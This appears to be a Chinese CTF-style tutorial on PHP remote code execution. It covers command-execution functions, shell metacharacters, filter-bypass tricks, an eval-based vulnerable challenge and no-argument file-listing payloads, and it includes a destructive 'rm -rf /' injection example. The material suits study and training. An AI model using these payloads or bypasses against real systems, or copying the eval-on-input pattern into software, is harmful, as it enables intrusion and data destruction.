RCE漏洞

RCE漏洞

RCE(Remote Code Execution,远程代码执行)‌是一种常见的安全漏洞,允许攻击者通过远程注入操作系统命令或代码来控制服务器。RCE漏洞主要分为远程命令执行(Remote Command Execution)和远程代码执行(Remote Code Execution),有时也将文件包含漏洞(File Inclusion)归为RCE漏洞‌

RCE漏洞的成因和影响

RCE漏洞的出现主要是由于应用系统在设计时需要提供远程命令操作接口,如果这些接口没有进行严格的安全控制,攻击者就可以通过这些接口注入恶意命令或代码,从而控制服务器。这种漏洞可能导致严重的安全问题,包括数据泄露、系统被控制等‌

1.基础命令执行函数

1.system()‌ 直接执行字符串形式的操作系统命令,‌返回命令执行结果‌,常用于需要直接获取输出内容的场景‌

若用户输入未过滤,可直接注入命令(如system($_GET['cmd']))‌

2.exec() 执行操作系统命令,‌仅返回执行结果的最后一行‌,若需获取完整输出需配合额外参数(如数组接收结果)‌

通过追加&;拼接隐藏命令(如exec("ping ".$_GET['ip']." & rm -rf /"))‌

3.passthru()‌ 执行命令后‌将运行结果直接输出到标准输出设备‌(如浏览器或终端界面),不返回内容‌

4‌.shell_exec()‌ 执行命令后返回‌完整的执行结果字符串‌,但需通过echo或变量赋值输出内容‌

隐蔽性强,常用于无回显的RCE攻击链‌

2.进程级命令执行函数

1.popen() 打开一个指向进程的‌文件指针‌,允许通过读写文件流的方式与命令交互,适用于持续输入/输出的场景‌

2.proc_open() 与popen()类似,但提供更复杂的进程控制功能,允许设置输入/输出/错误流的管道‌

3.pcntl_exec() 在当前进程空间内‌直接替换为指定程序‌执行,不创建新进程,常用于PHP环境下的高级操作‌

3.特殊符号与语法

1.反引号 反引号包裹的字符串会被解析为操作系统命令并执行,功能等价于shell_exec()

2.管道符拼接‌ 利用|&&&||等符号拼接多条命令,绕过简单过滤(如cat /flag | base64)‌

4.绕过过滤的常见方法

1.命令替代‌ 使用morelesstac等替代cat读取文件,或通过curl file:///flag直接访问本地文件‌。

2.编码绕过‌ 对命令进行Base64、16进制等编码后解码执行(如echo "Y2F0IC9mbGFn" | base64 -d | sh)。

3.空白符绕过‌ 利用$IFS${IFS}%09(制表符)替代空格分隔参数‌

无参数读文件

什么是无参数?

顾名思义,就是只使用函数,且函数不能带有参数,这里有种种限制:比如我们选择的函数必须能接受其括号内函数的返回值;使用的函数规定必须参数为空或者为一个参数等

例题:

复制代码
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}
?>

代码解析

复制代码
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
preg_replace替换匹配到的字符为空
\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9_]
(?R)?这个意思为递归整个匹配模式

所以正则的含义就是匹配无参数的函数

无参数任意文件读取

正常情况下查看当前目录文件名

复制代码
print_r(scandir('.'));
第一种方法
复制代码
localeconv()

localeconv()获取本地化数字及货币格式信息的函数,数组第一项就是"."

字段名 描述 示例值(C 区域)
decimal_point 小数点字符 .
thousands_sep 千位分隔符 ,
int_curr_symbol 国际货币符号(如 USD) USD
currency_symbol 本地货币符号(如 $) $
mon_decimal_point 货币小数点字符 .
positive_sign 正值符号 空字符串
negative_sign 负值符号 -

current()返回数组中的单元,默认取第一个值

复制代码
print_r(scandir(current(localeconv())));

成功打印出当前目录下文件:

第二种方法

chr(46)

chr(46)就是字符"."

chr(time()):

复制代码
chr(time()%256)`,随时间周期性生成 `.

chr(current(localtime(time()))):

数组第一个值每秒+1,所以最多60秒就一定能得到46,用current(pos)就能获得"."

第三种方法

phpversion()

PHP版本,如5.5.9

复制代码
floor(phpversion())------5

sqrt(floor(phpversion()))------2.236

tan(floor(sqrt(floor(phpversion()))))-------2.185

cosh(tan(floor(sqrt(floor(phpversion())))))------4.501

sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))------45.081

ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))------46

最终使用

复制代码
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回"."
第四种方法

crypt()

crypt() 可以生成带 . 的哈希

复制代码
print_r(scandir(chr(ord(hebrevc(crypt(time()))))));//(多刷新几次)

1

相关推荐
智联视频超融合平台1 小时前
视频联网平台智慧运维系统:智能时代的城市视觉中枢
运维·网络协议·安全·音视频·智慧城市·视频编解码
cainiao0806052 小时前
脑机交互安全:如何防止恶意脑电波指令注入
安全
XMYX-02 小时前
如何加强 SSH 安全:内网和专用网络环境下的防护策略
网络·安全·ssh
神经毒素3 小时前
WEB安全--SQL注入--无列名注入
sql·安全·web安全
网络安全宇哥3 小时前
零基础被迫参加CTF比赛?CTF高频解题技巧与经验分享
经验分享·安全·web安全·安全架构·waf
秋说3 小时前
【区块链安全 | 第十七篇】类型之引用类型(一)
安全·区块链
久违 °3 小时前
【安全运营】关于攻击面管理相关概念的梳理(一)
安全·web安全·网络安全
是程序喵呀3 小时前
软考《信息系统运行管理员》- 6.3 信息系统软件的安全运行
安全·软考
Synfuture阳途3 小时前
关于终端安全管理系统在社会工作中的重要作用
安全
傍晚冰川4 小时前
【STM32】最后一刷-江科大Flash闪存-学习笔记
笔记·科技·stm32·单片机·嵌入式硬件·学习·实时音视频